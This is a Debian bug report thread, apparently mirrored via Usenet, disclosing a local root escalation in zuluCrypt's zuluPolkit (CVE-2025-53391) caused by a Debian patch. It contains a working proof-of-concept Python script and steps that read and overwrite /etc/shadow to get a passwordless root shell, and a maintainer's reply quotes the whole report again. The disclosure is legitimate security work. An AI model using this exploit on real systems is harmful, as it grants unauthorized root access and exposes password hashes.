• Bug#1108288: Local privilege escalation via zuluPolkit, caused by Debia

    From Aaron Rainbolt@21:1/5 to All on Wed Jun 25 04:50:01 2025
    Source: zulucrypt
    X-Debbugs-Cc: marciosouza@debian.org, adrelanos@whonix.org, arraybolt3@ubuntu.com
    Version: 6.2.0-1
    Severity: critical
    Tags: security

    In the current zuluCrypt packaging, the zuluPolkit/CMakeLists.txt file
    is patched to allow any user to use zuluPolkit, a shim provided as part
    of zuluCrypt for running privileged operations. (Upstream's default
    allows only users considered as "admins" by polkit to use this
    utility.) However, due to the kinds of operations zuluPolkit is capable
    of running, the ability to run zuluPolkit as root is equivalent to root
    access, and thus this patch opens an LPE vulnerability that allows any
    user on the system to elevate to root with only their own password.

    zuluPolkit works using a slightly convoluted combination of a UNIX
    socket and standard input. The executable is intended to be launched as `/usr/bin/zuluPolkit /path/to/unix-socket`. zuluPolkit will prompt for
    a "token" (this turns out to be a simple authentication cookie which is
    later used when connecting to the socket), then it will delete the
    specified file and create a UNIX socket there. (Coincidentally this
    allows us to delete anything we want on the system and replace it with
    a UNIX socket.) zuluPolkit then listens on the socket, waiting for
    something to connect to it and send it a JSON payload.

    The format of the JSON payload supported by zuluPolkit is as follows:

    {
    "path": "/path/to/file",
    "data": "data for the command, if applicable",
    "password": "disk decryption passphrase, if applicable",
    "cookie": "authentication cookie",
    "command": "one of (exit|Read|Write) or a whitelisted shell command"
    }

    I'm primarily interested in the "Read" and "Write" commands. These
    commands allow dumping the contents of an arbitrary file, and replacing
    the contents of an arbitrary file, respectively. This provides an easy
    way to elevate to root - dump /etc/shadow, set the root account's
    password to be empty, then overwrite /etc/shadow with the insecure
    version. At that point you can `su` to root and have full control of
    the system. (The ability to run certain shell commands may also be of
    interest, but zuluCrypt seems to limit this to only a few specific
    commands, so this *may* not be a worry. There might be some way to
    trick zuluCrypt into running non-whitelisted things, but I have not investigated this.)

    To demonstrate the vuln, I installed a fresh copy of Debian 12 with the
    LXDE desktop [1] into a virtual machine, setting both a user and a root password. I verified that my user account (`user`) was not able to
    elevate to root with its password, by running `sudo -i` (this told me
    that `user` was not in the sudoers file). Then I `su`'d to root,
    providing the root password in the process, and installed zuluCrypt
    with `apt install zulucrypt-gui`. I only really needed zuluPolkit, but
    wanted to ensure that installing zuluCrypt itself would pull in the
    vulnerable code. This did indeed install the zuluPolkit executable, so
    I then exited out of the root shell.

    In order to connect to zuluPolkit and pass malicious JSON to it, I
    created a Python script as follows:

    dump-shadow.py:

    #!/bin/python3 -su

    import socket
    import sys

    mysock = socket.socket(family=socket.AF_UNIX)
    mysock.connect("/zulu-polkit")
    payload = b"""{
    "cookie": "qwe",
    "path": "/etc/shadow",
    "data": "",
    "password": "",
    "command": "Read"
    }"""
    mysock.sendall(payload)
    while True:
    rslt = mysock.recv(4096)
    if len(rslt) != 0:
    rslt_str = rslt.decode(encoding="latin_1")
    sys.stdout.write(rslt_str)

    (The use of "latin_1" encoding is intentional - this is the encoding
    zuluPolkit uses to encode data it writes to a file. It's probably not
    strictly necessary here but is used for consistency. Yes, you do have
    to terminate this using Ctrl+C, it's not pretty, but I wanted reliable
    and fast more than pretty.)

    Next, in one terminal, I ran `pkexec /usr/bin/zuluPolkit /zulu-polkit`.
    pkexec prompted me for my *user* password, which as illustrated earlier
    is NOT accepted by sudo for escalating to root. It is accepted for
    running zuluPolkit though. Once it was started, I typed in a "token" of
    `qwe`, and pressed Enter. Then in another terminal, I ran
    `python3 ./dump-shadow.py`. This proceeded to spit out the following
    (heavily truncated, and of course I was shown actual password hashes
    where I have the word "REDACTED"):

    {
    "exitCode": 0,
    "exitStatus": 0,
    "finished": true,
    "stdError": "root:REDACTED:20259:0:99999:7:::\n..."
    "stdOut": "root:REDACTED:20259:0:99999:7:::\n..."
    }

    So this worked, I was indeed able to dump the contents of /etc/shadow
    doing this. The next step then was to try to overwrite /etc/shadow with malicious contents. I took the shadow file contents provided by the dump-shadow.py script, and deleted the root password hash entirely to
    allow passwordless root login. Then I copied and tweaked the
    dump-shadow.py script slightly, changing the payload by putting the
    maliciously modified shadow file contents in the "data" key and
    changing the "command" key to "Write". zuluPolkit was still running its
    server, so I just reused the socket it still had open. The new script
    was named `write-shadow.py`.

    With that done, I ran `python3 ./write-shadow.py`. This returned a
    rather boring JSON blob:

    {
    "exitCode": 0,
    "exitStatus": 0,
    "finished": true,
    "stdError": ""
    "stdOut": ""
    }

    Then I ran dump-shadow.py again, and got:

    {
    "exitCode": 0,
    "exitStatus": 0,
    "finished": true,
    "stdError": "root::20259:0:99999:7:::\n..."
    "stdOut": "root::20259:0:99999:7:::\n..."
    }

    The attack appeared to have worked, so finally I ran `su`. As expected,
    I was instantly given a root shell with no password prompt. I also
    tried logging into a TTY as `root` - this also let me in instantly with
    no password prompt.

    Once in a root shell, I ran `cat /etc/shadow` to make sure the file
    wasn't horribly mangled. The file looked normal to me, so it appears
    zuluPolkit does not mangle things when writing them.

    This vulnerability is fully exploitable on a fresh install of Debian
    12.11. I have not yet attempted to exploit it on Trixie or Sid, but
    given that the patch introducing the vuln is still present in the Git
    tree [2] and I used zuluPolkit's upstream code as a reference when
    developing this PoC, I assume they are vulnerable as well. Since the
    patch was introduced for zuluCrypt 5.5.0 (judging by the
    `zulucrypt-5.5.0` directory name present in the patch), I would assume
    Debian 11 (Bullseye) is also vulnerable, and that Debian 10 (Buster) is probably not vulnerable.

    It would likely require extensive upstream reworking to make zuluPolkit
    safe for arbitrary unprivileged users to run, if it's possible at all
    (I don't know what zuluPolkit itself is actually used for in
    zuluCrypt, but it looks like it's intended to help with opening and
    decrypting device files, which would make it impossible to "make
    safe"). Due to this, I believe the attempt to "fix" the polkit
    configuration in zuluCrypt was well-meant but misguided, and that the problematic patch should be removed without replacement. The fact that
    only admin users can use zulucrypt-gui by default is a feature, not a
    bug.

    [1] I meant to select LXQt, but hit LXDE on accident instead :P
    [2] https://salsa.debian.org/debian/zulucrypt/-/blob/debian/master/debian/patches/fix_zulupolkit_policy.patch?ref_type=heads

    -----BEGIN PGP SIGNATURE-----

    iQIzBAEBCgAdFiEEudh48PFXwyPDa0wGpwkWDXPHkQkFAmhbXJQACgkQpwkWDXPH kQlsww/+NwcjFcnBqdeKbw+j2k579Fb+vrmPYerOHVzrDfFM1rXaj4kvCS/H8xQv tOT7c3x97LFYpD5XxcvAL5VK/AMiZdGDbhjviB6xbTe+hlnALmDikfO4JccJF/s0 276NB3/5eyLwJAY5PuxpKgxw5D2GGghrp9Y2wIqlSjdIj3wOn9r9vpVK+LA8AxBh klNWLJEdDZiK7WlLd2EvDn4MBZ54geuHcI1hf2rIHQn3zuZFkfMfIu3v9oZURkqC SUgymlJ6LSvIzt8b4F81/3P9E3YX9p1nGpQiQjiuZkXcaOPeAlL0smqTdCzUDtjJ Wuz4iT9MOmOChDfX5p1iD6xoRSoXJ3x+bOpo2/KP6m+Z9I2mN5LEe0J1CImqIOT5 A1ayjd6k/+oVmNR22s+4pmZawm4gquwFP9L7IpWEicHtS4GcX4z10hwA8J1X5LqT shDq4EVAOMoPmMF5TjOLb2uhf+24QXPc5tUWTQGTaFzTvu88BLXYmHgDUgfYYlNP 2YHRnipeRnyWNmMhflO28jsiCMTbPuz0Vc8NRSI8CBpP82shUvof0EgtA0q1UFC2 cvswFRYKrOjQBNZ/bGhd2f6vEJ09t1nQ7RlM7E8v/rzFCY0dQi8XtlFltVVEl/jg TpDYGKgeFXwbm5A4m9UpOEwk0CTIdXsQly+O6yfCQ23NkZtWWjc=
    =hwK1
    -----END PGP SIGNATURE-----

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Debian Bug Tracking System@21:1/5 to All on Sat Jun 28 23:40:01 2025
    Processing control commands:

    retitle -1 CVE-2025-53391: Local privilege escalation via zuluPolkit, caused by Debian patch
    Bug #1108288 [src:zulucrypt] Local privilege escalation via zuluPolkit, caused by Debian patch
    Changed Bug title to 'CVE-2025-53391: Local privilege escalation via zuluPolkit, caused by Debian patch' from 'Local privilege escalation via zuluPolkit, caused by Debian patch'.

    --
    1108288: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108288
    Debian Bug Tracking System
    Contact owner@bugs.debian.org with problems

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Salvatore Bonaccorso@21:1/5 to Aaron Rainbolt on Sat Jun 28 23:40:01 2025
    Control: retitle -1 CVE-2025-53391: Local privilege escalation via zuluPolkit, caused by Debian patch

    On Tue, Jun 24, 2025 at 09:19:00PM -0500, Aaron Rainbolt wrote:
    Source: zulucrypt
    X-Debbugs-Cc: marciosouza@debian.org, adrelanos@whonix.org, arraybolt3@ubuntu.com
    Version: 6.2.0-1
    Severity: critical
    Tags: security

    In the current zuluCrypt packaging, the zuluPolkit/CMakeLists.txt file
    is patched to allow any user to use zuluPolkit, a shim provided as part
    of zuluCrypt for running privileged operations. (Upstream's default
    allows only users considered as "admins" by polkit to use this
    utility.) However, due to the kinds of operations zuluPolkit is capable
    of running, the ability to run zuluPolkit as root is equivalent to root access, and thus this patch opens an LPE vulnerability that allows any
    user on the system to elevate to root with only their own password.

    zuluPolkit works using a slightly convoluted combination of a UNIX
    socket and standard input. The executable is intended to be launched as `/usr/bin/zuluPolkit /path/to/unix-socket`. zuluPolkit will prompt for
    a "token" (this turns out to be a simple authentication cookie which is
    later used when connecting to the socket), then it will delete the
    specified file and create a UNIX socket there. (Coincidentally this
    allows us to delete anything we want on the system and replace it with
    a UNIX socket.) zuluPolkit then listens on the socket, waiting for
    something to connect to it and send it a JSON payload.

    The format of the JSON payload supported by zuluPolkit is as follows:

    {
    "path": "/path/to/file",
    "data": "data for the command, if applicable",
    "password": "disk decryption passphrase, if applicable",
    "cookie": "authentication cookie",
    "command": "one of (exit|Read|Write) or a whitelisted shell command"
    }

    I'm primarily interested in the "Read" and "Write" commands. These
    commands allow dumping the contents of an arbitrary file, and replacing
    the contents of an arbitrary file, respectively. This provides an easy
    way to elevate to root - dump /etc/shadow, set the root account's
    password to be empty, then overwrite /etc/shadow with the insecure
    version. At that point you can `su` to root and have full control of
    the system. (The ability to run certain shell commands may also be of interest, but zuluCrypt seems to limit this to only a few specific
    commands, so this *may* not be a worry. There might be some way to
    trick zuluCrypt into running non-whitelisted things, but I have not investigated this.)

    To demonstrate the vuln, I installed a fresh copy of Debian 12 with the
    LXDE desktop [1] into a virtual machine, setting both a user and a root password. I verified that my user account (`user`) was not able to
    elevate to root with its password, by running `sudo -i` (this told me
    that `user` was not in the sudoers file). Then I `su`'d to root,
    providing the root password in the process, and installed zuluCrypt
    with `apt install zulucrypt-gui`. I only really needed zuluPolkit, but
    wanted to ensure that installing zuluCrypt itself would pull in the vulnerable code. This did indeed install the zuluPolkit executable, so
    I then exited out of the root shell.

    In order to connect to zuluPolkit and pass malicious JSON to it, I
    created a Python script as follows:

    dump-shadow.py:

    #!/bin/python3 -su

    import socket
    import sys

    mysock = socket.socket(family=socket.AF_UNIX)
    mysock.connect("/zulu-polkit")
    payload = b"""{
    "cookie": "qwe",
    "path": "/etc/shadow",
    "data": "",
    "password": "",
    "command": "Read"
    }"""
    mysock.sendall(payload)
    while True:
    rslt = mysock.recv(4096)
    if len(rslt) != 0:
    rslt_str = rslt.decode(encoding="latin_1")
    sys.stdout.write(rslt_str)

    (The use of "latin_1" encoding is intentional - this is the encoding zuluPolkit uses to encode data it writes to a file. It's probably not strictly necessary here but is used for consistency. Yes, you do have
    to terminate this using Ctrl+C, it's not pretty, but I wanted reliable
    and fast more than pretty.)

    Next, in one terminal, I ran `pkexec /usr/bin/zuluPolkit /zulu-polkit`. pkexec prompted me for my *user* password, which as illustrated earlier
    is NOT accepted by sudo for escalating to root. It is accepted for
    running zuluPolkit though. Once it was started, I typed in a "token" of `qwe`, and pressed Enter. Then in another terminal, I ran
    `python3 ./dump-shadow.py`. This proceeded to spit out the following
    (heavily truncated, and of course I was shown actual password hashes
    where I have the word "REDACTED"):

    {
    "exitCode": 0,
    "exitStatus": 0,
    "finished": true,
    "stdError": "root:REDACTED:20259:0:99999:7:::\n..."
    "stdOut": "root:REDACTED:20259:0:99999:7:::\n..."
    }

    So this worked, I was indeed able to dump the contents of /etc/shadow
    doing this. The next step then was to try to overwrite /etc/shadow with malicious contents. I took the shadow file contents provided by the dump-shadow.py script, and deleted the root password hash entirely to
    allow passwordless root login. Then I copied and tweaked the
    dump-shadow.py script slightly, changing the payload by putting the maliciously modified shadow file contents in the "data" key and
    changing the "command" key to "Write". zuluPolkit was still running its server, so I just reused the socket it still had open. The new script
    was named `write-shadow.py`.

    With that done, I ran `python3 ./write-shadow.py`. This returned a
    rather boring JSON blob:

    {
    "exitCode": 0,
    "exitStatus": 0,
    "finished": true,
    "stdError": ""
    "stdOut": ""
    }

    Then I ran dump-shadow.py again, and got:

    {
    "exitCode": 0,
    "exitStatus": 0,
    "finished": true,
    "stdError": "root::20259:0:99999:7:::\n..."
    "stdOut": "root::20259:0:99999:7:::\n..."
    }

    The attack appeared to have worked, so finally I ran `su`. As expected,
    I was instantly given a root shell with no password prompt. I also
    tried logging into a TTY as `root` - this also let me in instantly with
    no password prompt.

    Once in a root shell, I ran `cat /etc/shadow` to make sure the file
    wasn't horribly mangled. The file looked normal to me, so it appears zuluPolkit does not mangle things when writing them.

    This vulnerability is fully exploitable on a fresh install of Debian
    12.11. I have not yet attempted to exploit it on Trixie or Sid, but
    given that the patch introducing the vuln is still present in the Git
    tree [2] and I used zuluPolkit's upstream code as a reference when
    developing this PoC, I assume they are vulnerable as well. Since the
    patch was introduced for zuluCrypt 5.5.0 (judging by the
    `zulucrypt-5.5.0` directory name present in the patch), I would assume
    Debian 11 (Bullseye) is also vulnerable, and that Debian 10 (Buster) is probably not vulnerable.

    It would likely require extensive upstream reworking to make zuluPolkit
    safe for arbitrary unprivileged users to run, if it's possible at all
    (I don't know what zuluPolkit itself is actually used for in
    zuluCrypt, but it looks like it's intended to help with opening and decrypting device files, which would make it impossible to "make
    safe"). Due to this, I believe the attempt to "fix" the polkit
    configuration in zuluCrypt was well-meant but misguided, and that the problematic patch should be removed without replacement. The fact that
    only admin users can use zulucrypt-gui by default is a feature, not a
    bug.

    [1] I meant to select LXQt, but hit LXDE on accident instead :P
    [2] https://salsa.debian.org/debian/zulucrypt/-/blob/debian/master/debian/patches/fix_zulupolkit_policy.patch?ref_type=heads

    CVE-2025-53391 has been assigned for this issue.

    Regards,
    Salvatore

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)